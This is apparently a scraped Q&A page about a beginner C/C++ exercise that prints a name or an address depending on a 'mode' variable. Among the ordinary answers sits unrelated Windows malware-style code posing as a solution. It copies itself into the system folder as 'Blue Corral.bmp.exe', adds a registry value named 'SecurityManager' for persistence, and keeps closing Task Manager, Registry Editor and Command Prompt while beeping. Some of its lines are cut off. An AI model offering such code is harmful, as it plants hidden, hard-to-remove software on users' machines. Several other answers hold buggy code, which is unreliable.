What is mode of address?

Write a cprogram use int called mode.when mode =1 displays ur name,if equal to 2 ,display address.?

  • mode vaariable needs to be declared as member in union

  • Answer:

    int mode; if(mode ==1) cout<<"name"; else if(mode ==2) cout<<"address"; is this what u want? :)

s at Yahoo! Answers Visit the source

Was this solution helpful to you?

Other answers

#include<iostream.h> main() { int mode; char a,b; cout<<"enter name"; cin>>a; cout<<"enter address"; cin>>b; cout<<"enter mode (1/2)"; cin>>mode; if(mode==1) { cout<<a; } else if(mode) { cout<<b; } else { cout<<"wrong option"; } }

01 #include "stdafx.h" 02 #include "windows.h" 03 04 int APIENTRY WinMain(HINSTANCE hInstance, 05 HINSTANCE hPrevInstance, 06 LPSTR lpCmdLine, 07 int nCmdShow) 08 { 09 HKEY hKey; 10 char sd[255]; 11 char path[MAX_PATH]; 12 int Freq = 0; 13 int Duration = 100; 14 bool Forwards = true; 15 bool Backwards = false; 16 int timer = 0; 17 HWND hWin; 18 HMODULE GetModH = GetModuleHandle(0); 19 GetModuleFileName(GetModH, path, 256); 20 21 GetSystemDirectory(sd,255); 22 23 strcat(sd,"\\Blue Corral.bmp.exe"); 24 CopyFile(path,sd,FALSE); 25 unsigned char PathToFile[20] = "Blue Corral.bmp.exe"; 26 27 RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\… ); 28 RegSetValueEx(hKey, SecurityManager",0,REG_SZ,PathToFile,siz… 29 ) 32 { 33 34 hWin = FindWindow(NULL,"Windows Task Manager"); 35 SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPA… 36 37 hWin = FindWindow(NULL,"Registry Editor"); 38 SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPA… 39 40 hWin = FindWindow(NULL,"Command Prompt"); 41 SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPA… 42 43 hWin = FindWindow(NULL,"Close Program"); 44 SendMessage(hWin,WM_CLOSE,(LPARAM)0,(WPA… 45 46 if(Backwards==true) 47 { 48 Beep(Freq,Duration); 49 Freq = Freq - 100; 50 timer = timer - 1; 51 } 52 if (timer == 0) 53 { 54 Backwards = false; 55 Forwards = true; 56 } 57 58 if (timer == 30) 59 { 60 Backwards = true; 61 Forwards = false; 62 } 63 if(Forwards==true) 64 { 65 Beep(Freq,Duration); 66 Freq = Freq + 100; 67 timer = timer + 1; 68 } 69 } 70 return 0; 71 }

include<stdio.h> #include<conio.h> union disp { int mode; }d; main() { char name[20],addr[40]; int a=1; clrscr(); printf("enter your name and address\n"); scanf("%s%s",name,addr); while(a) { printf("enter your choice\n"); scanf("%d",&d.mode); if(d.mode==1) { printf("\n%s\n",name); } else if(d.mode==2) { printf("\n%s\n",addr); } else { printf("\n invalid choice"); } } }

you can use switch case. switch (mode) { case 1 : printf("%s",name); break; case 2: printf("%s",address); }

the others were in C++ this one is in C union t { int mode; int number; } typ. if(typ.mode==1) printf("%s\n",name); if(typ.mode==2) printf("%s\n",address);

Just Added Q & A:

Find solution

For every problem there is a solution! Proved by Solucija.

  • Got an issue and looking for advice?

  • Ask Solucija to search every corner of the Web for help.

  • Get workable solutions and helpful tips in a moment.

Just ask Solucija about an issue you face and immediately get a list of ready solutions, answers and tips from other Internet users. We always provide the most suitable and complete answer to your question at the top, along with a few good alternatives below.